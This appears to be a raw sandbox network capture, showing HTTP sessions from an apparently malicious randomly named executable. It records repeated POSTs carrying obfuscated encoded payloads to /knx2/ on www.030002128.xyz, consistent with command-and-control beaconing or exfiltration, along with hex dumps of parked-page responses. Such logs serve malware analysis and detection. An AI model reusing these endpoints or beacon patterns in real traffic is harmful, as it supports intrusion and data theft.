Nov 6, 2024 08:42:08.558455944 CET	212	IN	Data Raw: 3c 68 31 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 43 4f 4d 49 45 4e 5a 41 5f 54 45 58 54 4f 5f 52 45 47 49 53 54 52 41 4e 54 45 2d 2d 3e Data Ascii: <h1>www.cesach.net</h1> </div> ...COMIENZA_TEXTO_REGISTRANTE-->...TERMINA_TEXTO_REGISTRANTE--> ...COMIENZA_COMENTARIO-->...TERMINA_COMENTARIO--> ...COMIENZA_PIE_PERSONAL--
Nov 6, 2024 08:42:08.558470011 CET	1236	IN	Data Raw: 3e 3c 21 2d 2d 54 45 52 4d 49 4e 41 5f 50 49 45 5f 50 45 52 53 4f 4e 41 4c 2d 2d 3e 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 63 6b 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d Data Ascii: >...TERMINA_PIE_PERSONAL--> </div> <div class="back" style="background-color:#;"></div></header>... end client -->... foot -->...COMIENZA_PIE_POR_DEFECTO--><section class="search"> <div class="center"> <di
Nov 6, 2024 08:42:08.558485985 CET	212	IN	Data Raw: 63 74 6f 73 20 65 6e 20 6c 61 20 70 61 72 74 65 20 69 6e 66 65 72 69 6f 72 2e 3c 2f 70 3e 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 3c 2f 61 73 69 64 65 3e 0d 0a 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 73 69 6d 70 6c 65 22 3e 0d 0a 20 20 Data Ascii: ctos en la parte inferior.</p> </div></aside><section class="simple"> <span>Nuestros Productos</span> <div class="line"> <div class="center"> <a href="https://www.piensaso
Nov 6, 2024 08:42:08.558732986 CET	1236	IN	Data Raw: 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 77 65 62 2d 73 65 6e 63 69 6c 6c 61 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 70 61 72 6b 69 6e 67 26 61 6d 70 3b 75 74 6d 5f 6d 65 64 69 75 6d 3d 6c 69 6e 6b 26 61 6d 70 3b 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 77 Data Ascii: lutions.com/web-sencilla?utm_source=parking&utm_medium=link&utm_campaign=web-sencilla"><article> <img src="https://piensasolutions.com/imgs/parking/icon-web-sencilla.png"> <h2>WEB SENCILLA</h2>
Nov 6, 2024 08:42:08.558748960 CET	1236	IN	Data Raw: 64 65 20 75 6e 61 20 6d 61 6e 65 72 61 20 72 26 61 61 63 75 74 65 3b 70 69 64 61 20 79 20 73 65 6e 63 69 6c 6c 61 2e 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 3e 76 65 72 20 6d 26 61 61 63 75 74 65 3b Data Ascii: de una manera rápida y sencilla.</p> <button>ver más</button> </article></a> <a href="https://www.piensasolutions.com/certificado-ssl?utm_source=parking&utm_medium=link&utm_campa
Nov 6, 2024 08:42:08.558764935 CET	424	IN	Data Raw: 61 6e 3e 0d 0a 20 20 20 20 20 20 20 20 3c 70 3e 54 65 20 6f 66 72 65 63 65 6d 6f 73 20 73 69 65 6d 70 65 20 65 6c 20 6d 65 6a 6f 72 20 70 72 65 63 69 6f 3a 20 64 65 73 64 65 20 65 6c 20 70 72 69 6d 65 72 20 64 26 69 61 63 75 74 65 3b 61 20 79 20 Data Ascii: an> <p>Te ofrecemos siempe el mejor precio: desde el primer día y desde el primer dominio. Además tu dominio incluye:</p> <ul> <li><i class="icon-ok"></i> Página de presentación config
Nov 6, 2024 08:42:08.558780909 CET	1236	IN	Data Raw: 52 4c 20 66 69 6a 61 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 69 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 6f 6b 22 3e 3c 2f 69 3e 20 46 69 6c 74 72 6f 20 41 6e 74 69 73 70 61 6d 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 Data Ascii: RL fija</li> <li><i class="icon-ok"></i> Filtro Antispam</li> <li><i class="icon-ok"></i> 5 Cuentas de correo redirigido</li> </ul> </a></section><footer> <a class="logo" href="https://www.piens
Nov 6, 2024 08:42:08.558799982 CET	12	IN	Data Raw: 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50024	217.76.156.252	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:42:10.231962919 CET	547	OUT	GET /qutj/?SvrLY=3P8lALA&DDp=7+JhtXYoap6hQUSymN1iKxwf+aYIN87BChjykmSFD5cBOLIEN7eTZiNCYJGnmhE2/2tIBPcr+sPRMyccTmjbMYtkzAsmzkJCtDvOtemIhBWnTn54lM+8e5KyjQNsphyX8LHz3fM= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.cesach.net Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 6, 2024 08:42:11.111923933 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 06 Nov 2024 07:42:10 GMT Server: Apache X-ServerIndex: llim603 Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 61 39 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f [TRUNCATED] Data Ascii: 1a9b<!DOCTYPE HTML><html lang="es"><head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" /> <title>www.cesach.net</title> <meta name="description" content="" /> <link rel="stylesheet" href="https://piensasolutions.com/css/parking2.css"> <link href='https://fonts.googleapis.com/css?family=Exo' rel='stylesheet' type='text/css'> <meta id="theWidth" name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <script> window.onload = function () { if(screen.width <= 420) { var mvp = document.getElementById('theWidth'); mvp.setAttribute('content','width=400'); } } </script></head><body>... client --><header> <div class="center" style="color:#;border-color:#;"> <div class="title"> <img src="https://piensasolutions.com/imgs/parking/icon-parking.png"> <p>Esta es la página de:</p> [TRUNCATED]
Nov 6, 2024 08:42:11.111938000 CET	212	IN	Data Raw: 3c 68 31 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 43 4f 4d 49 45 4e 5a 41 5f 54 45 58 54 4f 5f 52 45 47 49 53 54 52 41 4e 54 45 2d 2d 3e Data Ascii: <h1>www.cesach.net</h1> </div> ...COMIENZA_TEXTO_REGISTRANTE-->...TERMINA_TEXTO_REGISTRANTE--> ...COMIENZA_COMENTARIO-->...TERMINA_COMENTARIO--> ...COMIENZA_PIE_PERSONAL--
Nov 6, 2024 08:42:11.111949921 CET	1236	IN	Data Raw: 3e 3c 21 2d 2d 54 45 52 4d 49 4e 41 5f 50 49 45 5f 50 45 52 53 4f 4e 41 4c 2d 2d 3e 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 63 6b 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d Data Ascii: >...TERMINA_PIE_PERSONAL--> </div> <div class="back" style="background-color:#;"></div></header>... end client -->... foot -->...COMIENZA_PIE_POR_DEFECTO--><section class="search"> <div class="center"> <di
Nov 6, 2024 08:42:11.112126112 CET	1236	IN	Data Raw: 63 74 6f 73 20 65 6e 20 6c 61 20 70 61 72 74 65 20 69 6e 66 65 72 69 6f 72 2e 3c 2f 70 3e 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 3c 2f 61 73 69 64 65 3e 0d 0a 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 73 69 6d 70 6c 65 22 3e 0d 0a 20 20 Data Ascii: ctos en la parte inferior.</p> </div></aside><section class="simple"> <span>Nuestros Productos</span> <div class="line"> <div class="center"> <a href="https://www.piensasolutions.com/web-sencilla?utm_so
Nov 6, 2024 08:42:11.116682053 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 69 6d 67 73 2f 70 61 72 6b 69 6e 67 2f 69 63 6f 6e 2d 77 65 62 2e 70 6e 67 22 3e 0d 0a 20 Data Ascii: <img src="https://piensasolutions.com/imgs/parking/icon-web.png"> <h2>MI PÁGINA WEB</h2> <p>Diseña tu propia página web de forma profesional y de una manera rápida y s
Nov 6, 2024 08:42:11.116700888 CET	1236	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6d 70 6c 65 78 22 3e 0d 0a 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 69 65 6e 73 61 73 6f 6c 75 Data Ascii: </div></section><section class="complex"> <a href="https://www.piensasolutions.com/dominios?utm_source=parking&utm_medium=link&utm_campaign=dominiosblock"> <span>Registro de dominios</span> <p>Te ofrecemos si
Nov 6, 2024 08:42:11.116735935 CET	648	IN	Data Raw: 6b 2d 73 6d 61 6c 6c 2e 70 6e 67 22 3e 3c 2f 64 69 76 3e 46 61 63 65 62 6f 6f 6b 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d Data Ascii: k-small.png"></div>Facebook</a> </li> <li> <a href="https://twitter.com/piensasolutions" class="lower" target="_blank" title="Sguenos en Twitter"> <img src="https://piensasolutions.com/imgs/par

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	50026	161.97.142.144	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:42:16.362225056 CET	810	OUT	POST /knx2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.030002128.xyz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.030002128.xyz Referer: http://www.030002128.xyz/knx2/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 52 7a 64 6c 38 64 48 68 4d 45 32 31 72 4e 53 6e 32 43 66 2b 74 48 44 44 30 4b 35 46 77 32 30 55 44 51 46 62 48 38 6d 6b 34 35 2b 7a 32 61 6a 46 35 62 75 71 4d 4a 71 44 53 76 4f 6b 59 58 41 4a 53 71 51 41 38 48 59 76 7a 78 2b 66 51 67 78 2b 44 4e 6a 53 6d 2b 34 33 4d 33 58 4f 6b 52 2f 71 2b 71 30 49 42 4a 66 56 54 4b 74 76 59 78 74 61 76 46 61 64 6c 58 74 32 6e 4e 69 64 4d 6d 4a 4f 77 4a 58 44 5a 53 2f 4c 55 7a 53 47 50 36 62 49 77 65 66 6c 4f 64 73 67 68 7a 6c 48 71 52 62 33 32 6d 46 67 58 75 36 50 74 38 35 5a 38 50 31 4b 4c 4f 53 6c 43 43 38 6d 78 46 6d 37 4d 79 34 2f 73 66 67 67 47 51 6b 2b 4b 47 50 70 Data Ascii: DDp=Rzdl8dHhME21rNSn2Cf+tHDD0K5Fw20UDQFbH8mk45+z2ajF5buqMJqDSvOkYXAJSqQA8HYvzx+fQgx+DNjSm+43M3XOkR/q+q0IBJfVTKtvYxtavFadlXt2nNidMmJOwJXDZS/LUzSGP6bIweflOdsghzlHqRb32mFgXu6Pt85Z8P1KLOSlCC8mxFm7My4/sfggGQk+KGPp
Nov 6, 2024 08:42:17.392944098 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 06 Nov 2024 07:42:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Nov 6, 2024 08:42:17.392961979 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L
Nov 6, 2024 08:42:17.393080950 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50027	161.97.142.144	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:42:19.103229046 CET	834	OUT	POST /knx2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.030002128.xyz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 232 Cache-Control: no-cache Origin: http://www.030002128.xyz Referer: http://www.030002128.xyz/knx2/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 52 7a 64 6c 38 64 48 68 4d 45 32 31 72 74 43 6e 30 68 33 2b 34 33 44 63 70 36 35 46 35 57 30 50 44 51 5a 62 48 39 54 70 34 73 57 7a 32 36 7a 46 34 65 61 71 46 5a 71 44 61 50 4f 39 62 6e 42 6b 53 71 56 39 38 44 51 76 7a 31 57 66 51 68 68 2b 45 38 6a 56 6e 75 34 31 41 58 58 41 37 68 2f 71 2b 71 30 49 42 4e 33 2f 54 4b 31 76 5a 42 64 61 75 6e 69 65 2b 33 74 31 67 4e 69 64 49 6d 4a 4b 77 4a 58 78 5a 57 2b 57 55 32 57 47 50 2b 58 49 7a 4e 48 6b 41 64 74 70 73 54 6b 4d 6d 43 75 70 2f 58 63 41 52 34 7a 74 79 75 78 63 30 5a 6f 51 58 39 53 47 51 53 63 6b 78 48 2b 4a 4d 53 34 56 75 66 59 67 55 48 6f 5a 46 79 71 4b 34 2f 63 67 6e 53 56 6a 34 49 72 68 58 62 7a 50 78 49 66 58 6d 51 3d 3d Data Ascii: DDp=Rzdl8dHhME21rtCn0h3+43Dcp65F5W0PDQZbH9Tp4sWz26zF4eaqFZqDaPO9bnBkSqV98DQvz1WfQhh+E8jVnu41AXXA7h/q+q0IBN3/TK1vZBdaunie+3t1gNidImJKwJXxZW+WU2WGP+XIzNHkAdtpsTkMmCup/XcAR4ztyuxc0ZoQX9SGQSckxH+JMS4VufYgUHoZFyqK4/cgnSVj4IrhXbzPxIfXmQ==
Nov 6, 2024 08:42:19.923552036 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 06 Nov 2024 07:42:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Nov 6, 2024 08:42:19.923798084 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50028	161.97.142.144	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:42:21.640878916 CET	1847	OUT	POST /knx2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.030002128.xyz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.030002128.xyz Referer: http://www.030002128.xyz/knx2/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 52 7a 64 6c 38 64 48 68 4d 45 32 31 72 74 43 6e 30 68 33 2b 34 33 44 63 70 36 35 46 35 57 30 50 44 51 5a 62 48 39 54 70 34 71 4f 7a 32 70 72 46 35 35 47 71 58 4a 71 44 51 76 4f 34 62 6e 41 6d 53 71 74 35 38 44 63 2f 7a 7a 53 66 4b 42 39 2b 42 49 2f 56 73 75 34 31 64 6e 58 4e 6b 52 2f 7a 2b 75 59 4d 42 4a 62 2f 54 4b 31 76 5a 48 35 61 70 31 61 65 38 33 74 32 6e 4e 69 52 4d 6d 4a 79 77 4e 37 4c 5a 57 71 47 55 43 69 47 4f 65 48 49 38 65 6a 6b 4d 64 74 6e 70 54 6c 4d 6d 43 79 49 2f 58 77 36 52 34 75 34 79 75 46 63 33 74 4d 47 41 63 54 46 4f 6a 4d 49 6d 30 36 55 49 6c 38 2f 6a 38 45 49 52 6c 39 72 50 44 47 44 2f 36 45 66 79 44 51 55 32 75 50 38 55 4d 71 4f 38 71 53 49 35 73 65 6d 75 4b 56 76 55 38 43 38 67 6d 66 73 4f 44 64 5a 51 78 41 73 4b 67 54 72 35 77 35 57 5a 6f 39 6b 48 57 75 77 50 44 2b 57 36 56 49 36 48 31 35 74 61 74 43 77 71 50 6c 75 39 5a 4c 57 70 77 6e 6d 66 76 46 62 44 55 33 6d 79 43 35 66 50 33 54 59 48 7a 43 77 67 53 57 48 41 4a 4f 77 72 50 68 4f 37 59 66 66 31 71 33 55 30 51 [TRUNCATED] Data Ascii: DDp=Rzdl8dHhME21rtCn0h3+43Dcp65F5W0PDQZbH9Tp4qOz2prF55GqXJqDQvO4bnAmSqt58Dc/zzSfKB9+BI/Vsu41dnXNkR/z+uYMBJb/TK1vZH5ap1ae83t2nNiRMmJywN7LZWqGUCiGOeHI8ejkMdtnpTlMmCyI/Xw6R4u4yuFc3tMGAcTFOjMIm06UIl8/j8EIRl9rPDGD/6EfyDQU2uP8UMqO8qSI5semuKVvU8C8gmfsODdZQxAsKgTr5w5WZo9kHWuwPD+W6VI6H15tatCwqPlu9ZLWpwnmfvFbDU3myC5fP3TYHzCwgSWHAJOwrPhO7Yff1q3U0QfAe0Nyjtha1vj/n7BEuegn+zHM2hdfwNlJmUMDni2wa51qD2IRhgJKPqcBNH5pKgPy7if6CqVKK+uD21gXLvwrObNO8OBJVwy/a+L76Oz/8adAgizdwpLqIuLBVNTcpczqrQwasv36oHnZz/bz4UXFwlkd2ggrxDohknrE19HTCQkk5YfwQx8Cc8A2nYQwvaIoXpVTMMUJy92ayXWJN22e/9S/UdOK7fqNPqC8jEdK8yEjKpeAK/N8oWbTcnG+4kSwTQdgbZyfTVQxvGWFT6aRYMS+yv15n55V+k/zQgH6elyxo5fsZTH3XD1hIgFHZgevAjwU6Hpt/u5rP1452Ac4WMKoJDWfC6m0nf9zuCapFibYi9UYr/X2C7VRvFGX+VYJ3dfAYhOSaHR9Xzu26hULP2g4HmUYdSrnCPr3Z29eWe/H+ynGdphQpnXEIadZofiqUl1ovZdkCuYAChjzBANfHJKyqmuJd1BAhoyTWgnNnZz+yOQ+3bLrLePFkXbb+1Q4yxMrjJCF8nzNYk4YMAwrDSEc+pj8r8qd7qQ5sG8aa1HEp0U3Py5hN9wGFT1J7/JvdmWGg51ikiHyjuqrSMT+5nSVHxz8GNDpjlFKLRthvS9acnGHQkCtX2Sk9InAF8yg7wL/HSJXzLqYWzns3F4mHhBgaySusmu1 [TRUNCATED]
